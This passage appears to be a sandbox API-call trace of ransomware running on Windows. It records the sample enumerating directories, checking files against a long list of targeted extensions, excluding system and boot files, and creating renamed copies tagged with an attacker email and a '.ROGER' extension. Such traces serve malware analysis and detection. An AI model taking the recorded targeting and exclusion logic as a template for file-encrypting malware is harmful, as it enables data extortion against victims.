lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0063.432] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0063.433] lstrlenW (lpString=".1cd") returned 4 [0063.433] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0063.433] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pidgenx.dll") returned 91 [0063.433] lstrlenW (lpString=".jpg") returned 4 [0063.433] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0063.433] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0063.433] lstrlenW (lpString="OFFREL.DLL") returned 10 [0063.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0063.580] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=9568) returned 1 [0063.580] CloseHandle (hObject=0x334) returned 1 [0063.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll")) returned 0x20 [0063.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0063.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0063.581] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.581] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0063.581] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\OFFREL.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\offrel.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 21 os_tid = 0xab0 [0037.001] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4dd0060 [0037.001] lstrlenW (lpString="C:") returned 2 [0037.001] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x45ffd00 | out: lpFindFileData=0x45ffd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x7cb790 [0037.001] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0037.001] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0037.001] lstrlenW (lpString="$Recycle.Bin") returned 12 [0037.002] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0037.002] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4de0068 [0037.002] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0037.002] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb7d0 [0037.002] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.003] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0037.003] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0037.003] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0037.003] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0037.003] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0037.003] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4e10070 [0037.003] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0037.003] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45ff774, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb810 [0037.003] FindNextFileW (in: hFindFile=0x7cb810, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45ff774, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.004] FindNextFileW (in: hFindFile=0x7cb810, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x45ff774, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0037.004] lstrlenW (lpString="desktop.ini") returned 11 [0037.004] lstrlenW (lpString=".1cd") returned 4 [0037.004] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0037.004] lstrlenW (lpString=".3ds") returned 4 [0037.004] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0037.004] lstrlenW (lpString=".3fr") returned 4 [0037.004] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0037.004] lstrlenW (lpString=".3g2") returned 4 [0037.004] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0037.004] lstrlenW (lpString=".3gp") returned 4 [0037.004] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0037.004] lstrlenW (lpString=".7z") returned 3 [0037.004] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0037.004] lstrlenW (lpString=".accda") returned 6 [0037.004] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0037.004] lstrlenW (lpString=".accdb") returned 6 [0037.004] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0037.004] lstrlenW (lpString=".accdc") returned 6 [0037.004] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0037.004] lstrlenW (lpString=".accde") returned 6 [0037.004] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0037.004] lstrlenW (lpString=".accdt") returned 6 [0037.004] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0037.004] lstrlenW (lpString=".accdw") returned 6 [0037.004] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0037.004] lstrlenW (lpString=".adb") returned 4 [0037.004] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0037.004] lstrlenW (lpString=".adp") returned 4 [0037.004] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0037.004] lstrlenW (lpString=".ai") returned 3 [0037.004] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0037.004] lstrlenW (lpString=".ai3") returned 4 [0037.004] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0037.005] lstrlenW (lpString=".ai4") returned 4 [0037.005] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0037.005] lstrlenW (lpString=".ai5") returned 4 [0037.005] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0037.005] lstrlenW (lpString=".ai6") returned 4 [0037.005] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0037.005] lstrlenW (lpString=".ai7") returned 4 [0037.005] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0037.005] lstrlenW (lpString=".ai8") returned 4 [0037.005] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0037.005] lstrlenW (lpString=".anim") returned 5 [0037.005] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0037.005] lstrlenW (lpString=".arw") returned 4 [0037.005] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0037.005] lstrlenW (lpString=".as") returned 3 [0037.005] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0037.005] lstrlenW (lpString=".asa") returned 4 [0037.005] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0037.005] lstrlenW (lpString=".asc") returned 4 [0037.005] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0037.005] lstrlenW (lpString=".ascx") returned 5 [0037.005] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0037.005] lstrlenW (lpString=".asm") returned 4 [0037.005] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0037.005] lstrlenW (lpString=".asmx") returned 5 [0037.005] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0037.005] lstrlenW (lpString=".asp") returned 4 [0037.005] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0037.005] lstrlenW (lpString=".aspx") returned 5 [0037.005] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0037.005] lstrlenW (lpString=".asr") returned 4 [0037.005] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0037.005] lstrlenW (lpString=".asx") returned 4 [0037.005] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0037.005] lstrlenW (lpString=".avi") returned 4 [0037.006] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0037.006] lstrlenW (lpString=".avs") returned 4 [0037.006] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0037.006] lstrlenW (lpString=".backup") returned 7 [0037.006] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0037.006] lstrlenW (lpString=".bak") returned 4 [0037.006] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0037.006] lstrlenW (lpString=".bay") returned 4 [0037.006] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0037.006] lstrlenW (lpString=".bd") returned 3 [0037.006] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0037.006] lstrlenW (lpString=".bin") returned 4 [0037.006] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0037.006] lstrlenW (lpString=".bmp") returned 4 [0037.006] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0037.006] lstrlenW (lpString=".bz2") returned 4 [0037.006] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0037.006] lstrlenW (lpString=".c") returned 2 [0037.006] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0037.006] lstrlenW (lpString=".cdr") returned 4 [0037.006] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0037.006] lstrlenW (lpString=".cer") returned 4 [0037.006] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0037.006] lstrlenW (lpString=".cf") returned 3 [0037.006] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0037.006] lstrlenW (lpString=".cfc") returned 4 [0037.006] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0037.006] lstrlenW (lpString=".cfm") returned 4 [0037.006] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0037.006] lstrlenW (lpString=".cfml") returned 5 [0037.006] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0037.006] lstrlenW (lpString=".cfu") returned 4 [0037.006] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0037.006] lstrlenW (lpString=".chm") returned 4 [0037.006] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0037.006] lstrlenW (lpString=".cin") returned 4 [0037.006] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0037.007] lstrlenW (lpString=".class") returned 6 [0037.007] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0037.007] lstrlenW (lpString=".clx") returned 4 [0037.007] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0037.007] lstrlenW (lpString=".config") returned 7 [0037.007] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0037.007] lstrlenW (lpString=".cpp") returned 4 [0037.007] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0037.007] lstrlenW (lpString=".cr2") returned 4 [0037.007] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0037.007] lstrlenW (lpString=".crt") returned 4 [0037.007] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0037.007] lstrlenW (lpString=".crw") returned 4 [0037.007] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0037.007] lstrlenW (lpString=".cs") returned 3 [0037.007] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0037.007] lstrlenW (lpString=".css") returned 4 [0037.007] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0037.007] lstrlenW (lpString=".csv") returned 4 [0037.007] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0037.007] lstrlenW (lpString=".cub") returned 4 [0037.007] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0037.007] lstrlenW (lpString=".dae") returned 4 [0037.007] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0037.007] lstrlenW (lpString=".dat") returned 4 [0037.007] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0037.007] lstrlenW (lpString=".db") returned 3 [0037.007] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0037.007] lstrlenW (lpString=".dbf") returned 4 [0037.008] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0037.008] lstrlenW (lpString=".dbx") returned 4 [0037.008] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0037.008] lstrlenW (lpString=".dc3") returned 4 [0037.008] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0037.008] lstrlenW (lpString=".dcm") returned 4 [0037.008] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0037.008] lstrlenW (lpString=".dcr") returned 4 [0037.008] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0037.008] lstrlenW (lpString=".der") returned 4 [0037.008] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0037.008] lstrlenW (lpString=".dib") returned 4 [0037.008] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0037.008] lstrlenW (lpString=".dic") returned 4 [0037.008] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0037.008] lstrlenW (lpString=".dif") returned 4 [0037.008] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0037.008] lstrlenW (lpString=".divx") returned 5 [0037.008] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0037.008] lstrlenW (lpString=".djvu") returned 5 [0037.008] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0037.008] lstrlenW (lpString=".dng") returned 4 [0037.008] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0037.008] lstrlenW (lpString=".doc") returned 4 [0037.008] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0037.008] lstrlenW (lpString=".docm") returned 5 [0037.008] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0037.008] lstrlenW (lpString=".docx") returned 5 [0037.008] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0037.008] lstrlenW (lpString=".dot") returned 4 [0037.008] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0037.008] lstrlenW (lpString=".dotm") returned 5 [0037.008] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0037.008] lstrlenW (lpString=".dotx") returned 5 [0037.008] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0037.009] lstrlenW (lpString=".dpx") returned 4 [0037.009] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0037.009] lstrlenW (lpString=".dqy") returned 4 [0037.009] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0037.009] lstrlenW (lpString=".dsn") returned 4 [0037.009] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0037.009] lstrlenW (lpString=".dt") returned 3 [0037.009] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0037.009] lstrlenW (lpString=".dtd") returned 4 [0037.009] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0037.009] lstrlenW (lpString=".dwg") returned 4 [0037.009] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0037.009] lstrlenW (lpString=".dwt") returned 4 [0037.009] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0037.009] lstrlenW (lpString=".dx") returned 3 [0037.009] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0037.009] lstrlenW (lpString=".dxf") returned 4 [0037.009] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0037.009] lstrlenW (lpString=".edml") returned 5 [0037.009] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0037.009] lstrlenW (lpString=".efd") returned 4 [0037.009] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0037.009] lstrlenW (lpString=".elf") returned 4 [0037.009] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0037.009] lstrlenW (lpString=".emf") returned 4 [0037.009] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0037.009] lstrlenW (lpString=".emz") returned 4 [0037.009] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0037.009] lstrlenW (lpString=".epf") returned 4 [0037.009] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0037.009] lstrlenW (lpString=".eps") returned 4 [0037.009] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0037.009] lstrlenW (lpString=".epsf") returned 5 [0037.009] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0037.009] lstrlenW (lpString=".epsp") returned 5 [0037.009] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0037.010] lstrlenW (lpString=".erf") returned 4 [0037.011] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".exr") returned 4 [0037.011] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".f4v") returned 4 [0037.011] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".fido") returned 5 [0037.011] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0037.011] lstrlenW (lpString=".flm") returned 4 [0037.011] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".flv") returned 4 [0037.011] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".frm") returned 4 [0037.011] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".fxg") returned 4 [0037.011] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".geo") returned 4 [0037.011] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".gif") returned 4 [0037.011] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".grs") returned 4 [0037.011] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".gz") returned 3 [0037.011] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0037.011] lstrlenW (lpString=".h") returned 2 [0037.011] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0037.011] lstrlenW (lpString=".hdr") returned 4 [0037.011] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".hpp") returned 4 [0037.011] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".hta") returned 4 [0037.011] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".htc") returned 4 [0037.011] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0037.011] lstrlenW (lpString=".htm") returned 4 [0037.012] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0037.012] lstrlenW (lpString=".html") returned 5 [0037.012] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0037.012] lstrlenW (lpString=".icb") returned 4 [0037.012] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0037.012] lstrlenW (lpString=".ics") returned 4 [0037.012] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0037.012] lstrlenW (lpString=".iff") returned 4 [0037.012] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0037.012] lstrlenW (lpString=".inc") returned 4 [0037.012] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0037.012] lstrlenW (lpString=".indd") returned 5 [0037.012] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0037.012] lstrlenW (lpString=".ini") returned 4 [0037.012] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0037.012] lstrlenW (lpString="desktop.ini") returned 11 [0037.012] lstrlenW (lpString=".ROGER") returned 6 [0037.012] lstrcmpiW (lpString1=".ROGER", lpString2="op.ini") returned -1 [0037.012] lstrlenW (lpString="desktop.ini") returned 11 [0037.012] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0037.012] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0037.012] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0037.012] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0037.012] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0037.012] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="desktop.ini") returned 1 [0037.012] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0037.012] lstrcmpiW (lpString1="ContinuumLoosely.exe", lpString2="desktop.ini") returned -1 [0037.012] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0037.012] FindNextFileW (in: hFindFile=0x7cb810, lpFindFileData=0x45ff808 | out: lpFindFileData=0x45ff808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x45ff774, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0037.012] FindClose (in: hFindFile=0x7cb810 | out: hFindFile=0x7cb810) returned 1 [0037.013] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4e10070 | out: hHeap=0x790000) returned 1 [0037.013] FindNextFileW (in: hFindFile=0x7cb7d0, lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0037.013] FindClose (in: hFindFile=0x7cb7d0 | out: hFindFile=0x7cb7d0) returned 1 [0037.013] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4de0068 | out: hHeap=0x790000) returned 1 [0037.013] FindNextFileW (in: hFindFile=0x7cb790, lpFindFileData=0x45ffd00 | out: lpFindFileData=0x45ffd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0037.013] lstrlenW (lpString="C:\\Boot") returned 7 [0037.013] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0037.013] lstrlenW (lpString="Boot") returned 4 [0037.013] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0037.013] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xfffe) returned 0x4de0068 [0037.013] lstrlenW (lpString="C:\\Boot") returned 7 [0037.013] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x45ffa84 | out: lpFindFileData=0x45ffa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, 